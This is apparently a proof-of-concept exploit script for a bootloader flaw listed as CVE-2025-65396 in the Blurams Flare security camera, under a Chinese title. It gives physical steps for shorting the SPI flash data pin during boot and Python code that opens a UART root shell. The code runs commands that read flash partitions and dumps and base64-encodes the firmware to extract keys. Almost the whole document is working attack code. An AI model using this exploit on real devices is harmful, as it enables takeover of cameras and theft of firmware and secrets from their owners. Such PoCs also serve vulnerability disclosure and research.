CVE-2025-65396 Blurams Flare Camera引导程序安全漏洞

#!/usr/bin/env python3 # CVE-2025-65396 PoC - Blurams Flare Camera Bootloader Hijack # Hardware Requirements: UART adapter, SPI flash clip/probe, metal tool for shorting import time import serial def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """Establish UART connection to the device""" ser = serial.Serial(port, baudrate, timeout=5) time.sleep(2) return ser def trigger_spi_read_error(): """ Physical step: Short SPI flash data pin (IO0) to ground during boot This should be done within 100-500ms after power-on Use a probe or wire to short pins 8 and 6 on the SPI flash IC """ print("[+] Power on device and immediately short SPI flash data pin to GND") print("[+] Recommended: Use oscilloscope trigger to synchronize timing") time.sleep(0.3) print("[+] SPI read error should now be induced") def exploit_bootloader_shell(ser): """Once SPI error is triggered, interact with UART shell""" # Clear buffer ser.reset_input_buffer() # Send break signal to enter bootloader mode ser.send_break(0.1) time.sleep(0.5) # Try common bootloader commands commands = [ 'help', '?', 'shell', 'sh', 'busybox sh', 'cat /proc/mtd', 'cat /dev/mtdblock0 > /dev/ttyGS0' ] for cmd in commands: ser.write((cmd + '\n').encode()) time.sleep(0.3) response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') if 'root' in response or '#' in response or 'shell' in response.lower(): print(f"[+] Shell obtained with command: {cmd}") print(response) return True return False def dump_firmware(ser): """Dump firmware via bootloader shell""" # Read SPI flash content dump_cmd = "mtd_debug read /dev/mtd0 0x0 0x800000 /tmp/firmware.bin" ser.write((dump_cmd + '\n').encode()) time.sleep(5) # Transfer firmware via UART or network transfer_cmd = "cat /tmp/firmware.bin | base64" ser.write((transfer_cmd + '\n').encode()) time.sleep(10) return ser.read(ser.in_waiting).decode('utf-8', errors='ignore') def main(): print("CVE-2025-65396 PoC for Blurams Flare Camera") print("=" * 50) # Step 1: Trigger SPI flash read error trigger_spi_read_error() # Step 2: Connect to UART input("Press Enter after shorting SPI pin...") ser = connect_uart() # Step 3: Exploit to get shell if exploit_bootloader_shell(ser): print("[+] Success! Bootloader shell obtained") print("[+] You can now dump firmware and extract keys") # Optional: dump firmware # firmware = dump_firmware(ser) else: print("[-] Failed to obtain shell, try adjusting timing") ser.close() if __name__ == '__main__': main()